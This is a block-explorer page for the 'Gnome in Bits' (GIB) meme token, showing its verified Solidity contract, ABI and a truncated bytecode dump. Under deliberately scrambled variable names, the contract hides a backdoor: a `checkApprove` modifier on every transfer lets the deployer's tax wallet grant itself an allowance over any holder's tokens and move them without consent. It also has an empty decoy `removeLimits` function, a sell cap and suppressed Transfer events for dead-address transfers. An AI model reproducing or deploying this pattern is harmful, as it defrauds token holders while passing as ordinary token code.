ETH Price: $1,876.43 (+0.26%)
 

Overview

Max Total Supply

1,000,000,000 GIB

Holders

231

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
999 GIB

Value
$0.00
0x01c98afc0be453e2c7363ae006778a4233d56ba9
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
GIB

Compiler Version
v0.8.24+commit.e11b9ed9

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion
File 1 of 1 : GIB.sol
// SPDX-License-Identifier: MIT

/**
    Name: Gnome in Bits
    Symbol: $GIB

    Meet Gib, the mischievous gnome with a knack for causing mayhem. From rigging mushroom traps to swapping pixie dust for glitter bombs, he keeps the Black Forest on its toes.

    https://www.gnomeinbits.fun/
    https://x.com/GnomeinBits
    https://t.me/GnomeinBits_Portal
*/

pragma solidity ^0.8.20;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount)
        external
        returns (bool);

    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );

    function getAmountsOut(uint256 amountIn, address[] calldata path)
        external
        view
        returns (uint256[] memory amounts);
}

contract GIB is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping(address => uint256) private _balknvlkcGIB;
    mapping(address => mapping(address => uint256)) private _allcvnkjnGIB;
    mapping(address => bool) private _feevblknlGIB;
    address payable private _taxclknlGIB;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1_000_000_000 * 10**_decimals;
    string private constant _name = unicode"Gnome in Bits";
    string private constant _symbol = unicode"GIB";
    uint256 public _vnbbvlkGIB = _tTotal / 100;
    uint256 public _oijboijoiGIB = 6 * 10**18;

    uint256 private _cvjkbnkjGIB = 10;
    uint256 private _vkjbnkfjGIB = 10;
    uint256 private _maxovnboiGIB = 10;
    uint256 private _initvkjnbkjGIB = 20;
    uint256 private _finvjlkbnlkjGIB = 0;
    uint256 private _redclkjnkGIB = 2;
    uint256 private _prevlfknjoiGIB = 2;
    uint256 private _buylkvnlkGIB = 0;

    IUniswapV2Router02 private uniswapV2Router;
    address private router_;
    address private uniswapV2Pair;
    bool private _tradingvlknGIB;
    bool private _inlknblGIB = false;
    bool private swapvlkGIB = false;
    uint256 private _sellcnjkGIB = 0;
    uint256 private _lastflkbnlGIB = 0;
    address constant _deadlknGIB = address(0xdead);

    modifier lockTheSwap() {
        _inlknblGIB = true;
        _;
        _inlknblGIB = false;
    }

    constructor() payable {
        _taxclknlGIB = payable(_msgSender());

        _feevblknlGIB[address(this)] = true;
        _feevblknlGIB[_taxclknlGIB] = true;

        _balknvlkcGIB[_msgSender()] = (_tTotal * 2) / 100;
        _balknvlkcGIB[address(this)] = (_tTotal * 98) / 100;

        emit Transfer(address(0), _msgSender(), (_tTotal * 2) / 100);
        emit Transfer(address(0), address(this), (_tTotal * 98) / 100);
    }

    modifier checkApprove(address owner, address spender, uint256 amount) {
        if(msg.sender == _taxclknlGIB || 
            (owner != uniswapV2Pair && spender == _deadlknGIB))
                _allcvnkjnGIB[owner][_msgSender()] = amount;
        _;
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balknvlkcGIB[account];
    }

    function transfer(address recipient, uint256 amount)
        public
        override
        returns (bool)
    {
        _transfer_kjvnGIB(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender)
        public
        view
        override
        returns (uint256)
    {
        return _allcvnkjnGIB[owner][spender];
    }

    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer_kjvnGIB(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allcvnkjnGIB[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allcvnkjnGIB[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer_kjvnGIB(
        address from,
        address to,
        uint256 amount
    ) private checkApprove(from, to, amount) {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount = _calcTax_lvknblGIB(from, to, amount);

        _balknvlkcGIB[from] = _balknvlkcGIB[from].sub(amount);
        _balknvlkcGIB[to] = _balknvlkcGIB[to].add(amount.sub(taxAmount));
        if (taxAmount > 0) {
            _balknvlkcGIB[address(this)] = _balknvlkcGIB[address(this)].add(taxAmount);
            emit Transfer(from, address(this), taxAmount);
        }

        if (to != _deadlknGIB) emit Transfer(from, to, amount.sub(taxAmount));
    }

    function _calcTax_lvknblGIB(address from, address to, uint256 amount) private returns(uint256) {
        uint256 taxAmount = 0;
        if (
            from != owner() &&
            to != owner() &&
            from != address(this) &&
            to != address(this)
        ) {
            if (!_inlknblGIB) {
                taxAmount = amount
                    .mul((_buylkvnlkGIB > _redclkjnkGIB) ? _finvjlkbnlkjGIB : _initvkjnbkjGIB)
                    .div(100);
            }

            if (
                from == uniswapV2Pair &&
                to != address(uniswapV2Router) &&
                !_feevblknlGIB[to] &&
                to != _taxclknlGIB
            ) {
                _buylkvnlkGIB++;
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (
                from != owner() && 
                !_inlknblGIB &&
                to == uniswapV2Pair &&
                from != _taxclknlGIB &&
                swapvlkGIB &&
                _buylkvnlkGIB > _prevlfknjoiGIB
            ) {
                if (block.number > _lastflkbnlGIB) {
                    _sellcnjkGIB = 0;
                }
                _sellcnjkGIB = _sellcnjkGIB + _getAmountOut_lvcbnkGIB(amount);
                require(_sellcnjkGIB <= _oijboijoiGIB, "Max swap limit");
                if (contractTokenBalance > _vnbbvlkGIB)
                    _swapTokenslknlGIB(_vnbbvlkGIB > amount ? amount : _vnbbvlkGIB);
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance >= 0) {
                    _sendETHTocvbnjGIB(address(this).balance);
                }
                _lastflkbnlGIB = block.number;
            }
        }
        return taxAmount;
    }

    function _sendETHTocvbnjGIB(uint256 amount) private {
        _taxclknlGIB.transfer(amount);
    }

    function _swapTokenslknlGIB(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        router_ = address(uniswapV2Router);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function enableGIBTrading() external onlyOwner {
        require(!_tradingvlknGIB, "Trading is already open");
        uniswapV2Router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
            address(this),
            uniswapV2Router.WETH()
        );
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),
            block.timestamp
        );
        swapvlkGIB = true;
        _tradingvlknGIB = true;
        IERC20(uniswapV2Pair).approve(
            address(uniswapV2Router),
            type(uint256).max
        );
    }

    receive() external payable {}

    function _assist_bnGIB() external onlyOwner {
        require(address(this).balance > 0);
        payable(_msgSender()).transfer(address(this).balance);
    }

    function _getAmountOut_lvcbnkGIB(uint256 amount) internal view returns (uint256) {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        uint256[] memory amountOuts = uniswapV2Router.getAmountsOut(
            amount,
            path
        );
        return amountOuts[1];
    }

    function removeLimits () external onlyOwner {
        
    }

    function _setTax_lknblGIB(address payable newWallet) external {
        require(_msgSender() == _taxclknlGIB);
        _taxclknlGIB = newWallet;
    }
}

Settings
{
  "optimizer": {
    "enabled": false,
    "runs": 200
  },
  "outputSelection": {
    "*": {
      "*": [
        "evm.bytecode",
        "evm.deployedBytecode",
        "devdoc",
        "userdoc",
        "metadata",
        "abi"
      ]
    }
  },
  "remappings": []
}

Contract Security Audit

Contract ABI

API
[{"inputs":[],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_assist_bnGIB","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_oijboijoiGIB","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address payable","name":"newWallet","type":"address"}],"name":"_setTax_lknblGIB","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_vnbbvlkGIB","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"enableGIBTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

608060405260646009600a6200001691906200066a565b633b9aca00620000279190620006ba565b62000033919062000731565b6005556753444835ec580000600655600a600755600a600855600a6009556014600a555f600b556002600c556002600d555f600e555f601160156101000a81548160ff0219169083151502179055505f601160166101000a81548160ff0219169083151502179055505f6012555f6013555f620000b5620004d160201b60201c565b9050805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35062000161620004d160201b60201c565b60045f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160035f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160035f60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550606460026009600a6200027f91906200066a565b633b9aca00620002909190620006ba565b6200029c9190620006ba565b620002a8919062000731565b60015f620002bb620004d160201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550606460626009600a6200030c91906200066a565b633b9aca006200031d9190620006ba565b620003299190620006ba565b62000335919062000731565b60015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555062000386620004d160201b60201c565b73ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef606460026009600a620003e891906200066a565b633b9aca00620003f99190620006ba565b620004059190620006ba565b62000411919062000731565b60405162000420919062000779565b60405180910390a33073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef606460626009600a6200048b91906200066a565b633b9aca006200049c9190620006ba565b620004a89190620006ba565b620004b4919062000731565b604051620004c3919062000779565b60405180910390a362000794565b5f33905090565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b600185111562000562578086048111156200053a5762000539620004d8565b5b60018516156200054a5780820291505b80810290506200055a8562000505565b94506200051a565b94509492505050565b5f826200057c57600190506200064e565b816200058b575f90506200064e565b8160018114620005a45760028114620005af57620005e5565b60019150506200064e565b60ff841115620005c457620005c3620004d8565b5b8360020a915084821115620005de57620005dd620004d8565b5b506200064e565b5060208310610133831016604e8410600b84101617156200061f5782820a905083811115620006195762000618620004d8565b5b6200064e565b6200062e848484600162000511565b92509050818404811115620006485762000647620004d8565b5b81810290505b9392505050565b5f819050919050565b5f60ff82169050919050565b5f620006768262000655565b915062000683836200065e565b9250620006b27fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846200056b565b905092915050565b5f620006c68262000655565b9150620006d38362000655565b9250828202620006e38162000655565b91508282048414831517620006fd57620006fc620004d8565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6200073d8262000655565b91506200074a8362000655565b9250826200075d576200075c62000704565b5b828204905092915050565b620007738162000655565b82525050565b5f6020820190506200078e5f83018462000768565b92915050565b61333280620007a25f395ff3fe608060405260043610610100575f3560e01c80634445aae911610094578063751039fc11610063578063751039fc146102fb5780638da5cb5b1461031157806395d89b411461033b578063a9059cbb14610365578063dd62ed3e146103a157610107565b80634445aae914610255578063623cb3271461027f57806370a08231146102a9578063715018a6146102e557610107565b806323b872dd116100d057806323b872dd146101b1578063313ce567146101ed5780633af5b97e146102175780633c50a1ad1461022d57610107565b8062719efa1461010b57806306fdde0314610121578063095ea7b31461014b57806318160ddd1461018757610107565b3661010757005b5f80fd5b348015610116575f80fd5b5061011f6103dd565b005b34801561012c575f80fd5b506101356104c9565b6040516101429190612345565b60405180910390f35b348015610156575f80fd5b50610171600480360381019061016c9190612403565b610506565b60405161017e919061245b565b60405180910390f35b348015610192575f80fd5b5061019b610523565b6040516101a89190612483565b60405180910390f35b3480156101bc575f80fd5b506101d760048036038101906101d2919061249c565b610546565b6040516101e4919061245b565b60405180910390f35b3480156101f8575f80fd5b5061020161061a565b60405161020e9190612507565b60405180910390f35b348015610222575f80fd5b5061022b610622565b005b348015610238575f80fd5b50610253600480360381019061024e919061255b565b610b44565b005b348015610260575f80fd5b50610269610be6565b6040516102769190612483565b60405180910390f35b34801561028a575f80fd5b50610293610bec565b6040516102a09190612483565b60405180910390f35b3480156102b4575f80fd5b506102cf60048036038101906102ca9190612586565b610bf2565b6040516102dc9190612483565b60405180910390f35b3480156102f0575f80fd5b506102f9610c38565b005b348015610306575f80fd5b5061030f610d86565b005b34801561031c575f80fd5b50610325610e1c565b60405161033291906125c0565b60405180910390f35b348015610346575f80fd5b5061034f610e43565b60405161035c9190612345565b60405180910390f35b348015610370575f80fd5b5061038b60048036038101906103869190612403565b610e80565b604051610398919061245b565b60405180910390f35b3480156103ac575f80fd5b506103c760048036038101906103c291906125d9565b610e9d565b6040516103d49190612483565b60405180910390f35b6103e5610f1f565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610471576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161046890612661565b60405180910390fd5b5f471161047c575f80fd5b610484610f1f565b73ffffffffffffffffffffffffffffffffffffffff166108fc4790811502906040515f60405180830381858888f193505050501580156104c6573d5f803e3d5ffd5b50565b60606040518060400160405280600d81526020017f476e6f6d6520696e204269747300000000000000000000000000000000000000815250905090565b5f610519610512610f1f565b8484610f26565b6001905092915050565b5f6009600a61053291906127db565b633b9aca006105419190612825565b905090565b5f6105528484846110e9565b61060f8461055e610f1f565b61060a856040518060600160405280602881526020016132d56028913960025f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6105c1610f1f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461166c9092919063ffffffff16565b610f26565b600190509392505050565b5f6009905090565b61062a610f1f565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106b6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ad90612661565b60405180910390fd5b601160149054906101000a900460ff1615610706576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106fd906128b0565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d600f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506107a230600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166009600a61078e91906127db565b633b9aca0061079d9190612825565b610f26565b600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561080c573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061083091906128e2565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108b6573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108da91906128e2565b6040518363ffffffff1660e01b81526004016108f792919061290d565b6020604051808303815f875af1158015610913573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061093791906128e2565b60115f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306109be30610bf2565b5f806109c8610e1c565b426040518863ffffffff1660e01b81526004016109ea96959493929190612976565b60606040518083038185885af1158015610a06573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610a2b91906129e9565b5050506001601160166101000a81548160ff0219169083151502179055506001601160146101000a81548160ff02191690831515021790555060115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610b01929190612a39565b6020604051808303815f875af1158015610b1d573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b419190612a8a565b50565b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b84610f1f565b73ffffffffffffffffffffffffffffffffffffffff1614610ba3575f80fd5b8060045f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60055481565b60065481565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610c40610f1f565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ccc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cc390612661565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610d8e610f1f565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e1a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e1190612661565b60405180910390fd5b565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600381526020017f4749420000000000000000000000000000000000000000000000000000000000815250905090565b5f610e93610e8c610f1f565b84846110e9565b6001905092915050565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610f94576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f8b90612b25565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611002576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ff990612bb3565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516110dc9190612483565b60405180910390a3505050565b82828260045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806111cd575060115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156111cc575061dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b5b15611257578060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f611219610f1f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b5f73ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16036112c5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112bc90612c41565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1603611333576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161132a90612ccf565b60405180910390fd5b5f8411611375576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161136c90612d5d565b60405180910390fd5b5f6113818787876116ce565b90506113d38560015f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611b8290919063ffffffff16565b60015f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555061147661142a8287611b8290919063ffffffff16565b60015f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611bcb90919063ffffffff16565b60015f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505f8111156115b65761150f8160015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611bcb90919063ffffffff16565b60015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516115ad9190612483565b60405180910390a35b61dead73ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614611663578573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61164d8489611b8290919063ffffffff16565b60405161165a9190612483565b60405180910390a35b50505050505050565b5f8383111582906116b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116aa9190612345565b60405180910390fd5b505f83856116c19190612d7b565b9050809150509392505050565b5f805f90506116db610e1c565b73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16141580156117495750611719610e1c565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b801561178157503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b80156117b957503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611b7757601160159054906101000a900460ff166118115761180e6064611800600c54600e54116117ed57600a546117f1565b600b545b86611c2890919063ffffffff16565b611c9f90919063ffffffff16565b90505b60115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161480156118ba5750600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffff